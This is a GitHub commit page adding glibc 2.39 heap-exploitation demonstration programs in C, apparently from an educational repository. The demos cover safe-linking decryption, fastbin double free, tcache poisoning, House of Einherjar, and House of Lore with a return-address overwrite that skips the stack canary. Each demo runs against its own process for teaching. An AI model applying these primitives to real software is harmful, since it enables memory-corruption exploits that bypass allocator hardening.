-
Notifications
You must be signed in to change notification settings - Fork 1.2k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Loading status checks…
add 2.39
Showing
23 changed files
with
2,236 additions
and
15 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <assert.h> | ||
|
||
long decrypt(long cipher) | ||
{ | ||
puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,"); | ||
puts("because of the 12bit sliding."); | ||
puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)"); | ||
long key = 0; | ||
long plain; | ||
|
||
for(int i=1; i<6; i++) { | ||
int bits = 64-12*i; | ||
if(bits < 0) bits = 0; | ||
plain = ((cipher ^ key) >> bits) << bits; | ||
key = plain >> 12; | ||
printf("round %d:\n", i); | ||
printf("key: %#016lx\n", key); | ||
printf("plain: %#016lx\n", plain); | ||
printf("cipher: %#016lx\n\n", cipher); | ||
} | ||
return plain; | ||
} | ||
|
||
int main() | ||
{ | ||
/* | ||
* This technique demonstrates how to recover the original content from a poisoned | ||
* value because of the safe-linking mechanism. | ||
* The attack uses the fact that the first 12 bit of the plaintext (pointer) is known | ||
* and the key (ASLR slide) is the same to the pointer's leading bits. | ||
* As a result, as long as the chunk where the pointer is stored is at the same page | ||
* of the pointer itself, the value of the pointer can be fully recovered. | ||
* Otherwise, we can also recover the pointer with the page-offset between the storer | ||
* and the pointer. What we demonstrate here is a special case whose page-offset is 0. | ||
* For demonstrations of other more general cases, plz refer to | ||
* https://github.com/n132/Dec-Safe-Linking | ||
*/ | ||
|
||
setbuf(stdin, NULL); | ||
setbuf(stdout, NULL); | ||
|
||
// step 1: allocate chunks | ||
long *a = malloc(0x20); | ||
long *b = malloc(0x20); | ||
printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b); | ||
malloc(0x10); | ||
puts("And then create a padding chunk to prevent consolidation."); | ||
|
||
|
||
// step 2: free chunks | ||
puts("Now free chunk a and then free chunk b."); | ||
free(a); | ||
free(b); | ||
printf("Now the freelist is: [%p -> %p]\n", b, a); | ||
printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]); | ||
|
||
// step 3: recover the values | ||
puts("Now decrypt the poisoned value"); | ||
long plaintext = decrypt(b[0]); | ||
|
||
printf("value: %p\n", a); | ||
printf("recovered value: %#lx\n", plaintext); | ||
assert(plaintext == (long)a); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <assert.h> | ||
|
||
int main() | ||
{ | ||
setbuf(stdout, NULL); | ||
|
||
printf("This file demonstrates a simple double-free attack with fastbins.\n"); | ||
|
||
printf("Fill up tcache first.\n"); | ||
void *ptrs[8]; | ||
for (int i=0; i<8; i++) { | ||
ptrs[i] = malloc(8); | ||
} | ||
for (int i=0; i<7; i++) { | ||
free(ptrs[i]); | ||
} | ||
|
||
printf("Allocating 3 buffers.\n"); | ||
int *a = calloc(1, 8); | ||
int *b = calloc(1, 8); | ||
int *c = calloc(1, 8); | ||
|
||
printf("1st calloc(1, 8): %p\n", a); | ||
printf("2nd calloc(1, 8): %p\n", b); | ||
printf("3rd calloc(1, 8): %p\n", c); | ||
|
||
printf("Freeing the first one...\n"); | ||
free(a); | ||
|
||
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); | ||
// free(a); | ||
|
||
printf("So, instead, we'll free %p.\n", b); | ||
free(b); | ||
|
||
printf("Now, we can free %p again, since it's not the head of the free list.\n", a); | ||
free(a); | ||
|
||
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); | ||
a = calloc(1, 8); | ||
b = calloc(1, 8); | ||
c = calloc(1, 8); | ||
printf("1st calloc(1, 8): %p\n", a); | ||
printf("2nd calloc(1, 8): %p\n", b); | ||
printf("3rd calloc(1, 8): %p\n", c); | ||
|
||
assert(a == c); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <assert.h> | ||
|
||
int main() { | ||
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8 | ||
puts("This is a powerful technique that bypasses the double free check in tcachebin."); | ||
printf("Fill up the tcache list to force the fastbin usage...\n"); | ||
|
||
void *ptr[7]; | ||
|
||
for(int i = 0; i < 7; i++) | ||
ptr[i] = malloc(0x40); | ||
for(int i = 0; i < 7; i++) | ||
free(ptr[i]); | ||
|
||
void* p1 = calloc(1,0x40); | ||
|
||
printf("Allocate another chunk of the same size p1=%p \n", p1); | ||
printf("Freeing p1 will add this chunk to the fastbin list...\n\n"); | ||
free(p1); | ||
|
||
void* p3 = malloc(0x400); | ||
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3); | ||
printf("will trigger the malloc_consolidate and merge\n"); | ||
printf("the fastbin chunks into the top chunk, thus\n"); | ||
printf("p1 and p3 are now pointing to the same chunk !\n\n"); | ||
|
||
assert(p1 == p3); | ||
|
||
printf("Triggering the double free vulnerability!\n\n"); | ||
free(p1); | ||
|
||
void *p4 = malloc(0x400); | ||
|
||
assert(p4 == p3); | ||
|
||
printf("The double free added the chunk referenced by p1 \n"); | ||
printf("to the tcache thus the next similar-size malloc will\n"); | ||
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4); | ||
|
||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,77 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <assert.h> | ||
|
||
int main() | ||
{ | ||
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" | ||
"returning a pointer to a controlled location (in this case, the stack).\n"); | ||
|
||
|
||
fprintf(stderr,"Fill up tcache first.\n"); | ||
|
||
void *ptrs[7]; | ||
|
||
for (int i=0; i<7; i++) { | ||
ptrs[i] = malloc(8); | ||
} | ||
for (int i=0; i<7; i++) { | ||
free(ptrs[i]); | ||
} | ||
|
||
|
||
unsigned long stack_var[2] __attribute__ ((aligned (0x10))); | ||
|
||
fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var); | ||
|
||
fprintf(stderr, "Allocating 3 buffers.\n"); | ||
int *a = calloc(1,8); | ||
int *b = calloc(1,8); | ||
int *c = calloc(1,8); | ||
|
||
fprintf(stderr, "1st calloc(1,8): %p\n", a); | ||
fprintf(stderr, "2nd calloc(1,8): %p\n", b); | ||
fprintf(stderr, "3rd calloc(1,8): %p\n", c); | ||
|
||
fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin | ||
free(a); | ||
|
||
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); | ||
|
||
fprintf(stderr, "So, instead, we'll free %p.\n", b); | ||
free(b); | ||
|
||
//Calling free(a) twice renders the program vulnerable to Double Free | ||
|
||
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); | ||
free(a); | ||
|
||
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " | ||
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); | ||
unsigned long *d = calloc(1,8); | ||
|
||
fprintf(stderr, "1st calloc(1,8): %p\n", d); | ||
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); | ||
fprintf(stderr, "Now the free list has [ %p ].\n", a); | ||
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" | ||
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n" | ||
"so that calloc will think there is a free chunk there and agree to\n" | ||
"return a pointer to it.\n", a); | ||
stack_var[1] = 0x20; | ||
|
||
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); | ||
fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); | ||
fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); | ||
unsigned long ptr = (unsigned long)stack_var; | ||
unsigned long addr = (unsigned long) d; | ||
/*VULNERABILITY*/ | ||
*d = (addr >> 12) ^ ptr; | ||
/*VULNERABILITY*/ | ||
|
||
fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); | ||
|
||
void *p = calloc(1,8); | ||
|
||
fprintf(stderr, "4th calloc(1,8): %p\n", p); | ||
assert((unsigned long)p == (unsigned long)stack_var + 0x10); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,104 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
#include <assert.h> | ||
|
||
const size_t allocsize = 0x40; | ||
|
||
int main(){ | ||
setbuf(stdout, NULL); | ||
|
||
printf("\n" | ||
"This attack is intended to have a similar effect to the unsorted_bin_attack,\n" | ||
"except it works with a small allocation size (allocsize <= 0x78).\n" | ||
"The goal is to set things up so that a call to malloc(allocsize) will write\n" | ||
"a large unsigned value to the stack.\n\n"); | ||
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" | ||
"An heap address leak is needed to perform this attack.\n" | ||
"The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); | ||
|
||
// Allocate 14 times so that we can free later. | ||
char* ptrs[14]; | ||
size_t i; | ||
for (i = 0; i < 14; i++) { | ||
ptrs[i] = malloc(allocsize); | ||
} | ||
|
||
printf("First we need to free(allocsize) at least 7 times to fill the tcache.\n" | ||
"(More than 7 times works fine too.)\n\n"); | ||
|
||
// Fill the tcache. | ||
for (i = 0; i < 7; i++) free(ptrs[i]); | ||
|
||
char* victim = ptrs[7]; | ||
printf("The next pointer that we free is the chunk that we're going to corrupt: %p\n" | ||
"It doesn't matter if we corrupt it now or later. Because the tcache is\n" | ||
"already full, it will go in the fastbin.\n\n", victim); | ||
free(victim); | ||
|
||
printf("Next we need to free between 1 and 6 more pointers. These will also go\n" | ||
"in the fastbin. If the stack address that we want to overwrite is not zero\n" | ||
"then we need to free exactly 6 more pointers, otherwise the attack will\n" | ||
"cause a segmentation fault. But if the value on the stack is zero then\n" | ||
"a single free is sufficient.\n\n"); | ||
|
||
// Fill the fastbin. | ||
for (i = 8; i < 14; i++) free(ptrs[i]); | ||
|
||
// Create an array on the stack and initialize it with garbage. | ||
size_t stack_var[6]; | ||
memset(stack_var, 0xcd, sizeof(stack_var)); | ||
|
||
printf("The stack address that we intend to target: %p\n" | ||
"It's current value is %p\n", &stack_var[2], (char*)stack_var[2]); | ||
|
||
printf("Now we use a vulnerability such as a buffer overflow or a use-after-free\n" | ||
"to overwrite the next pointer at address %p\n\n", victim); | ||
|
||
//------------VULNERABILITY----------- | ||
|
||
// Overwrite linked list pointer in victim. | ||
// The following operation assumes the address of victim is known, thus requiring | ||
// a heap leak. | ||
*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12)); | ||
|
||
//------------------------------------ | ||
|
||
printf("The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"); | ||
|
||
// Empty tcache. | ||
for (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize); | ||
|
||
printf("Let's just print the contents of our array on the stack now,\n" | ||
"to show that it hasn't been modified yet.\n\n"); | ||
|
||
for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); | ||
|
||
printf("\n" | ||
"The next allocation triggers the stack to be overwritten. The tcache\n" | ||
"is empty, but the fastbin isn't, so the next allocation comes from the\n" | ||
"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n" | ||
"Those 7 chunks are copied in reverse order into the tcache, so the stack\n" | ||
"address that we are targeting ends up being the first chunk in the tcache.\n" | ||
"It contains a pointer to the next chunk in the list, which is why a heap\n" | ||
"pointer is written to the stack.\n" | ||
"\n" | ||
"Earlier we said that the attack will also work if we free fewer than 6\n" | ||
"extra pointers to the fastbin, but only if the value on the stack is zero.\n" | ||
"That's because the value on the stack is treated as a next pointer in the\n" | ||
"linked list and it will trigger a crash if it isn't a valid pointer or null.\n" | ||
"\n" | ||
"The contents of our array on the stack now look like this:\n\n"); | ||
|
||
malloc(allocsize); | ||
|
||
for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); | ||
|
||
char *q = malloc(allocsize); | ||
printf("\n" | ||
"Finally, if we malloc one more time then we get the stack address back: %p\n", q); | ||
|
||
assert(q == (char *)&stack_var[2]); | ||
|
||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,75 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <stdint.h> | ||
#include <string.h> | ||
#include <unistd.h> | ||
#include <assert.h> | ||
|
||
|
||
int main() | ||
{ | ||
/* | ||
* This attack should bypass the restriction introduced in | ||
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d | ||
* If the libc does not include the restriction, you can simply double free the victim and do a | ||
* simple tcache poisoning | ||
* And thanks to @anton00b and @subwire for the weird name of this technique */ | ||
|
||
// disable buffering so _IO_FILE does not interfere with our heap | ||
setbuf(stdin, NULL); | ||
setbuf(stdout, NULL); | ||
|
||
// introduction | ||
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); | ||
puts("returning a pointer to an arbitrary location (in this demo, the stack)."); | ||
puts("This attack only relies on double free.\n"); | ||
|
||
// prepare the target | ||
intptr_t stack_var[4]; | ||
puts("The address we want malloc() to return, namely,"); | ||
printf("the target address is %p.\n\n", stack_var); | ||
|
||
// prepare heap layout | ||
puts("Preparing heap layout"); | ||
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); | ||
intptr_t *x[7]; | ||
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){ | ||
x[i] = malloc(0x100); | ||
} | ||
intptr_t *prev = malloc(0x100); | ||
printf("Allocating a chunk for later consolidation: prev @ %p\n", prev); | ||
intptr_t *a = malloc(0x100); | ||
printf("Allocating the victim chunk: a @ %p\n", a); | ||
puts("Allocating a padding to prevent consolidation.\n"); | ||
malloc(0x10); | ||
|
||
// cause chunk overlapping | ||
puts("Now we are able to cause chunk overlapping"); | ||
puts("Step 1: fill up tcache list"); | ||
for(int i=0; i<7; i++){ | ||
free(x[i]); | ||
} | ||
puts("Step 2: free the victim chunk so it will be added to unsorted bin"); | ||
free(a); | ||
|
||
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk."); | ||
free(prev); | ||
|
||
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n"); | ||
malloc(0x100); | ||
/*VULNERABILITY*/ | ||
free(a);// a is already freed | ||
/*VULNERABILITY*/ | ||
|
||
puts("Now we have the chunk overlapping primitive:"); | ||
int prev_size = prev[-1] & 0xff0; | ||
int a_size = a[-1] & 0xff0; | ||
printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size); | ||
printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size); | ||
a = malloc(0x100); | ||
memset(a, 0, 0x100); | ||
prev[0x110/sizeof(intptr_t)] = 0x41414141; | ||
assert(a[0] == 0x41414141); | ||
|
||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,157 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <stdint.h> | ||
#include <malloc.h> | ||
#include <assert.h> | ||
|
||
int main() | ||
{ | ||
/* | ||
* This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32. | ||
* The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc(). | ||
* It has the additional requirement of a heap leak. | ||
* | ||
* After filling the tcache list to bypass the restriction of consolidating with a fake chunk, | ||
* we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap. | ||
* The following restriction for normal bins won't allow us to create chunks bigger than the memory | ||
* allocated from the system in this arena: | ||
* | ||
* https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */ | ||
|
||
setbuf(stdin, NULL); | ||
setbuf(stdout, NULL); | ||
|
||
printf("Welcome to House of Einherjar 2!\n"); | ||
printf("Tested on Ubuntu 20.10 64bit (glibc-2.32).\n"); | ||
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"); | ||
|
||
printf("This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n"); | ||
printf("Next, we use tcache poisoning to hijack control flow.\n" | ||
"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41," | ||
"now tcache poisoning requires a heap leak.\n"); | ||
|
||
// prepare the target, | ||
// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41, | ||
// it must be properly aligned. | ||
intptr_t stack_var[0x10]; | ||
intptr_t *target = NULL; | ||
|
||
// choose a properly aligned target address | ||
for(int i=0; i<0x10; i++) { | ||
if(((long)&stack_var[i] & 0xf) == 0) { | ||
target = &stack_var[i]; | ||
break; | ||
} | ||
} | ||
assert(target != NULL); | ||
printf("\nThe address we want malloc() to return is %p.\n", (char *)target); | ||
|
||
printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n"); | ||
intptr_t *a = malloc(0x38); | ||
|
||
// create a fake chunk | ||
printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n"); | ||
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); | ||
|
||
a[0] = 0; // prev_size (Not Used) | ||
a[1] = 0x60; // size | ||
a[2] = (size_t) a; // fwd | ||
a[3] = (size_t) a; // bck | ||
|
||
printf("Our fake chunk at %p looks like:\n", a); | ||
printf("prev_size (not used): %#lx\n", a[0]); | ||
printf("size: %#lx\n", a[1]); | ||
printf("fwd: %#lx\n", a[2]); | ||
printf("bck: %#lx\n", a[3]); | ||
|
||
printf("\nWe allocate 0x28 bytes for 'b'.\n" | ||
"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n" | ||
"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n"); | ||
uint8_t *b = (uint8_t *) malloc(0x28); | ||
printf("b: %p\n", b); | ||
|
||
int real_b_size = malloc_usable_size(b); | ||
printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size); | ||
|
||
/* In this case it is easier if the chunk size attribute has a least significant byte with | ||
* a value of 0x00. The least significant byte of this will be 0x00, because the size of | ||
* the chunk includes the amount requested plus some amount required for the metadata. */ | ||
printf("\nWe allocate 0xf8 bytes for 'c'.\n"); | ||
uint8_t *c = (uint8_t *) malloc(0xf8); | ||
|
||
printf("c: %p\n", c); | ||
|
||
uint64_t* c_size_ptr = (uint64_t*)(c - 8); | ||
// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit | ||
|
||
printf("\nc.size: %#lx\n", *c_size_ptr); | ||
printf("c.size is: (0x100) | prev_inuse = 0x101\n"); | ||
|
||
printf("We overflow 'b' with a single null byte into the metadata of 'c'\n"); | ||
// VULNERABILITY | ||
b[real_b_size] = 0; | ||
// VULNERABILITY | ||
printf("c.size: %#lx\n", *c_size_ptr); | ||
|
||
printf("It is easier if b.size is a multiple of 0x100 so you " | ||
"don't change the size of b, only its prev_inuse bit\n"); | ||
|
||
// Write a fake prev_size to the end of b | ||
printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that " | ||
"it will consolidate with our fake chunk\n", sizeof(size_t)); | ||
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a); | ||
printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size); | ||
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size; | ||
|
||
// Change the fake chunk's size to reflect c's new prev_size | ||
printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n"); | ||
a[1] = fake_size; | ||
|
||
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]); | ||
|
||
// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk | ||
printf("\nFill tcache.\n"); | ||
intptr_t *x[7]; | ||
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) { | ||
x[i] = malloc(0xf8); | ||
} | ||
|
||
printf("Fill up tcache list.\n"); | ||
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) { | ||
free(x[i]); | ||
} | ||
|
||
printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n"); | ||
free(c); | ||
printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]); | ||
|
||
printf("\nNow we can call malloc() and it will begin in our fake chunk\n"); | ||
|
||
intptr_t *d = malloc(0x158); | ||
printf("Next malloc(0x158) is at %p\n", d); | ||
|
||
// tcache poisoning | ||
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" | ||
"We have to create and free one more chunk for padding before fd pointer hijacking.\n"); | ||
uint8_t *pad = malloc(0x28); | ||
free(pad); | ||
|
||
printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n"); | ||
free(b); | ||
printf("Now the tcache list has [ %p -> %p ].\n", b, pad); | ||
|
||
printf("We overwrite b's fwd pointer using chunk 'd'\n"); | ||
// requires a heap leak because it assumes the address of d is known. | ||
// since house of einherjar also requires a heap leak, we can simply just use it here. | ||
d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12); | ||
|
||
// take target out | ||
printf("Now we can cash out the target chunk.\n"); | ||
malloc(0x28); | ||
intptr_t *e = malloc(0x28); | ||
printf("\nThe new chunk is at %p\n", e); | ||
|
||
// sanity check | ||
assert(e == target); | ||
printf("Got control on target/stack!\n\n"); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,137 @@ | ||
/* | ||
Advanced exploitation of the House of Lore - Malloc Maleficarum. | ||
This PoC take care also of the glibc hardening of smallbin corruption. | ||
[ ... ] | ||
else | ||
{ | ||
bck = victim->bk; | ||
if (__glibc_unlikely (bck->fd != victim)){ | ||
errstr = "malloc(): smallbin double linked list corrupted"; | ||
goto errout; | ||
} | ||
set_inuse_bit_at_offset (victim, nb); | ||
bin->bk = bck; | ||
bck->fd = bin; | ||
[ ... ] | ||
*/ | ||
|
||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
#include <stdint.h> | ||
#include <assert.h> | ||
|
||
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); } | ||
|
||
int main(int argc, char * argv[]){ | ||
|
||
|
||
intptr_t* stack_buffer_1[4] = {0}; | ||
intptr_t* stack_buffer_2[4] = {0}; | ||
void* fake_freelist[7][4]; | ||
|
||
fprintf(stderr, "\nWelcome to the House of Lore\n"); | ||
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"); | ||
fprintf(stderr, "This is tested against Ubuntu 22.04 - 64bit - glibc-2.35\n\n"); | ||
|
||
fprintf(stderr, "Allocating the victim chunk\n"); | ||
intptr_t *victim = malloc(0x100); | ||
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim); | ||
|
||
fprintf(stderr, "Allocating dummy chunks for using up tcache later\n"); | ||
void *dummies[7]; | ||
for(int i=0; i<7; i++) dummies[i] = malloc(0x100); | ||
|
||
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk | ||
intptr_t *victim_chunk = victim-2; | ||
|
||
fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1); | ||
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2); | ||
|
||
fprintf(stderr, "Create a fake free-list on the stack\n"); | ||
for(int i=0; i<6; i++) { | ||
fake_freelist[i][3] = fake_freelist[i+1]; | ||
} | ||
fake_freelist[6][3] = NULL; | ||
fprintf(stderr, "fake free-list at %p\n", fake_freelist); | ||
|
||
fprintf(stderr, "Create a fake chunk on the stack\n"); | ||
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" | ||
"in second to the last malloc, which putting stack address on smallbin list\n"); | ||
stack_buffer_1[0] = 0; | ||
stack_buffer_1[1] = 0; | ||
stack_buffer_1[2] = victim_chunk; | ||
|
||
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " | ||
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " | ||
"chunk on stack"); | ||
stack_buffer_1[3] = (intptr_t*)stack_buffer_2; | ||
stack_buffer_2[2] = (intptr_t*)stack_buffer_1; | ||
|
||
fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash " | ||
"introduced by smallbin-to-tcache mechanism\n"); | ||
stack_buffer_2[3] = (intptr_t *)fake_freelist[0]; | ||
|
||
fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" | ||
"the small one during the free()\n"); | ||
void *p5 = malloc(1000); | ||
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5); | ||
|
||
|
||
fprintf(stderr, "Freeing dummy chunk\n"); | ||
for(int i=0; i<7; i++) free(dummies[i]); | ||
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); | ||
free((void*)victim); | ||
|
||
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n"); | ||
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); | ||
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); | ||
|
||
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"); | ||
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim); | ||
|
||
void *p2 = malloc(1200); | ||
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2); | ||
|
||
fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n"); | ||
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); | ||
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); | ||
|
||
//------------VULNERABILITY----------- | ||
|
||
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); | ||
|
||
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack | ||
|
||
//------------------------------------ | ||
fprintf(stderr, "Now take all dummies chunk in tcache out\n"); | ||
for(int i=0; i<7; i++) malloc(0x100); | ||
|
||
|
||
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); | ||
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n"); | ||
|
||
void *p3 = malloc(0x100); | ||
|
||
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); | ||
char *p4 = malloc(0x100); | ||
fprintf(stderr, "p4 = malloc(0x100)\n"); | ||
|
||
fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", | ||
stack_buffer_2[2]); | ||
|
||
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack | ||
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode | ||
|
||
long offset = (long)__builtin_frame_address(0) - (long)p4; | ||
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary | ||
|
||
// sanity check | ||
assert((long)__builtin_return_address(0) == (long)jackpot); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
